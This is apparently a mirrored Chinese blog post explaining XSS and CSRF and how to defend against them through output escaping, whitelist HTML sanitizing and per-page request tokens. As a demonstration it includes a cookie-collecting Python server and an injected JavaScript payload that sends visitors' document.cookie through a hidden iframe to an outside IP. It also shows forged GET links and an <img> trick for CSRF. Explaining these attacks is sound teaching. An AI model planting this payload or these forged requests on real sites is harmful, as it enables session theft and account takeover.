总结 XSS 与 CSRF 两种跨站攻击

在那个年代,你们通常用拼接字符串的方式来构造动态 SQL 语句建立应用,因而 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 [1] 已经成了广泛用法,咱们已经离 SQL 注入很远了。可是,历史一样悠久的 XSS 和 CSRF 却没有远离咱们。因为以前已经对 XSS 很熟悉了,因此我对用户输入的数据一直很是当心。若是输入的时候没有通过 Tidy 之类的过滤,我必定会在模板输出时候所有转义。因此我的感受,要避免 XSS 也是很容易的,重点是要“当心”。但最近又据说了另外一种跨站攻击 CSRF ,因而找了些资料了解了一下,并与 XSS 放在一块儿作个比较。javascript

XSS:脚本中的不速之客

XSS 全称“跨站脚本”,是注入攻击的一种。其特色是不对服务器端形成任何伤害,而是经过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端若是没有过滤或转义掉这些脚本,做为内容发布到了页面上,其余用户访问这个页面的时候就会运行这些脚本。php

运行预期以外的脚本带来的后果有不少中,可能只是简单的恶做剧——一个关不掉的窗口:html

while (true) { alert("你关不掉我~"); } 

也能够是盗号或者其余未受权的操做——咱们来模拟一下这个过程,先创建一个用来收集信息的服务器:java

#!/usr/bin/env python
#-*- coding:utf-8 -*- """ 跨站脚本注入的信息收集服务器 """ import bottle app = bottle.Bottle() plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite') app.install(plugin) @app.route('/myxss/') def show(cookies, db): SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)' try: db.execute(SQL, cookies) except: pass return "" if __name__ == "__main__": app.run() 

而后在某一个页面的评论中注入这段代码:python

// 用 <script type="text/javascript"></script> 包起来放在评论中

(function(window, document) { // 构造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://192.168.123.123/myxss/"; var xssURI = xssURIBase + window.encodeURI(cookies); // 创建隐藏 iframe 用于通信 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 开工 document.body.appendChild(hideFrame); })(window, document); 

因而每一个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的账号和其余隐私的信息发送到收集服务器上。jquery

咱们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器作了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种作法的初衷也是防范 XSS,多多少少都起了一些做用,但不是老是有用,正如上面的注入代码,用 iframe 也同样能够达到相同的目的。甚至在愿意的状况下,我还能用 iframe 发起 POST 请求。固然,如今一些浏览器可以很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么作。但拦截不老是能成功,况且这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,咱们也不该该把事关安全性的责任推脱给浏览器,因此防止 XSS 的根本之道仍是过滤用户输入。用户输入老是不可信任的,这点对于 Web 开发者应该是常识。git

正如上文所说,若是咱们不须要用户输入 HTML 而只想让他们输入纯文本,那么把全部用户输入进行 HTML 转义输出是个不错的作法。彷佛不少 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版老是默认转义输出变量的。若是没有使用它们,咱们本身也能够这么作。PHP 能够用 htmlspecialchars 函数,Python 能够导入 cgi 模块用其中的 cgi.escape 函数。若是使用了某款模版引擎,那么其必自带了方便快捷的转义方式。github

真正麻烦的是,在一些场合咱们要容许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库能够帮忙,但前提是咱们当心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签均可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的状况,我我的更倾向于使用简单的方法处理,简单的方法就是白名单从新整理。用户输入的 HTML 可能拥有很复杂的结构,但咱们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之因此不使用 XML 解析库是由于 HTML 要求有较强的容错性)。而后根据用户原有的标签属性,从新构建 HTML 元素树。构建的过程当中,全部的标签、属性都只从白名单中拿取。这样能够确保万无一失——若是用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不一样于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,由于白名单从新整理的策略会直接丢弃掉这些未能识别的部分。最后得到的新 HTML 元素树,咱们能够拍胸脯保证——全部的标签、属性都来自白名单,必定不会遗漏。ajax

如今看来,大多数 Web 开发者都了解 XSS 并知道如何防范,每每大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是因为疏漏。我我的建议在使用模版引擎的 Web 项目中,开启(或不要关闭)相似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不须要转义的场合,咱们能够用相似 {{ myvar | raw }} 的方式取消转义。这种白名单式的作法,有助于下降咱们因为疏漏留下 XSS 漏洞的风险。sql

另一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,因此不是开启模版自动转义能就能一劳永逸的。再加上这类应用每每须要跨域,开发者不得不本身打开危险的大门。这种状况下,站点的安全很是依赖开发者的细心和应用上线前有效的测试。如今亦有很多开源的 XSS 漏洞测试软件包(彷佛有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。无论怎么说,我认为从用户输入的地方把好关老是成本最低而又最有效的作法。

更新(2014-10-04)

这里附上一些“白名单”消毒 HTML 标签和属性(Sanitize HTML)的开源解决方案:

CSRF:冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不一样维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是惟一的一条。通常习惯上把经过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点类似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不一样维度上的分类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操做。咱们知道,绝大多数网站是经过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,由于 Session ID 也是大多保存在 cookie 里面的),再予以受权的。因此要伪造用户的正常操做,最好的方法是经过 XSS 或连接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来讲,CSRF 不能分类为注入攻击,由于 CSRF 的实现途径远远不止 XSS 注入这一条。经过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的连接都能形成 CSRF。

例如,一论坛网站的发贴是经过 GET 请求访问,点击发贴以后 JS 把发贴内容拼接成目标 URL 并访问: http://example.com/bbs/create_post.php?title=标题&content=内容 那么,我只须要在论坛中发一帖,包含一连接: http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈 只要有用户点击了这个连接,那么他们的账户就会在不知情的状况下发布了这一帖子。可能这只是个恶做剧,可是既然发贴的请求能够伪造,那么删帖、转账、改密码、发邮件全均可以伪造。

如何解决这个问题,咱们是否能够效仿上文应对 XSS 的作法呢?过滤用户输入, 不容许发布这种含有站内操做 URL 的连接。这么作可能会有点用,但阻挡不了 CSRF,由于攻击者能够经过 QQ 或其余网站把这个连接发布上去,为了假装可能还使用 bit.ly 压缩一下网址,这样点击到这个连接的用户仍是同样会中招。因此对待 CSRF ,咱们的视角须要和对待 XSS 有所区别。CSRF 并不必定要有站内的输入,由于它并不属于注入攻击,而是请求伪造。被伪造的请求能够是任何来源,而非必定是站内。因此咱们惟有一条路可行,就是过滤请求的处理者。

比较头痛的是,由于请求能够从任何一方发起,而发起请求的方式多种多样,能够经过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(老是个大隐患)。因为几乎没有完全杜绝 CSRF 的方式,咱们通常的作法,是以各类方式提升攻击的门槛。

首先能够提升的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类建立资源的操做,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。固然,最理想的作法是使用REST 风格 [2] 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、建立、修改、删除。如今的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,咱们可使用 ajax 提交请求(例如经过 jquery-form 插件,我最喜欢的作法),也可使用隐藏域指定请求方法,而后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的作法)。这么一来,不一样的资源操做区分的很是清楚,咱们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能经过发布连接来伪造请求了,但他们仍能够发布表单,或者在其余站点上使用咱们肉眼不可见的表单,在后台用 js 操做,伪造请求。

接下来咱们就能够用比较简单也比较有效的方法来防护 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同窗应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是同样的,只不过目的不一样,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求必定来自预期的页面。实现方法很是简单,首先服务器端要以某种策略生成随机字符串,做为令牌(token),保存在 Session 里。而后在发出请求的页面,把该令牌以隐藏域一类的形式,与其余信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,不然返回 HTTP 403 拒绝请求或者要求用户从新登陆验证身份。

请求令牌虽然使用起来简单,但并不是不可破解,使用不当会增长安全隐患。使用请求令牌来防止 CSRF 有如下几点要注意:

  • 虽然请求令牌原理和验证码有类似之处,但不该该像验证码同样,全局使用一个 Session Key。由于请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。若是全局使用一个 Session Key,那么危险系数会上升。原则上来讲,每一个页面的请求令牌都应该放在独立的 Session Key 中。咱们在设计服务器端的时候,能够稍加封装,编写一个令牌工具包,将页面的标识做为 Session 中保存令牌的键。
  • 在 ajax 技术应用较多的场合,由于颇有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但不管如何,请不要提供直接获取令牌值的 API。这么作无疑是锁上了大门,却又把钥匙放在门口,让咱们的请求令牌退化为同步令牌。
  • 第一点说了请求令牌理论上是可破解的,因此很是重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的作法)。但这两种方式用户体验都很差,因此须要产品开发者权衡。
  • 不管是普通的请求令牌仍是验证码,服务器端验证过必定记得销毁。忘记销毁用过的令牌是个很低级可是杀伤力很大的错误。咱们学校的选课系统就有这个问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码能够在屡次请求中使用(只要再也不次刷新验证码图片),一直用到 Session 超时。这也是为什么选课系统加了验证码,外挂软件升级一次以后仍然畅通无阻。

以下也列出一些听说能有效防范 CSRF,其实效果甚微的方式甚至无效的作法。

  • 经过 referer 断定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。若是我喜欢,能够给 referer 任何值。固然这个作法并非毫无做用,起码能够防小白。但我以为性价比不如令牌。
  • 过滤全部用户发布的连接:这个是最无效的作法,由于首先攻击者不必定要从站内发起请求(上面提到过了),并且就算从站内发起请求,途径也远远不止连接一条。好比 <img src="./create_post.php" /> 就是个不错的选择,还不须要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。
  • 在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外经过 iframe 发起的 CSRF,但攻击者也能够考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

整体来讲,目前防护 CSRF 的诸多方法还没几个能完全无解的。因此 CSDN 上看到讨论 CSRF 的文章,通常都会含有“无耻”二字来形容(另外一位有该名号的貌似是 DDOS 攻击)。做为开发者,咱们能作的就是尽可能提升破解难度。当破解难度达到必定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我认为是最有可扩展性的,由于其原理和 CSRF 原理是相克的。CSRF 难以防护之处就在于对服务器端来讲,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的惟一区别——来源页面不一样。咱们还能够作进一步的工做,例如让页面中 token 的 key 动态化,进一步提升攻击者的门槛。本文只是我我的认识的一个总结,便不讨论过深了。

相关文章
相关标签/搜索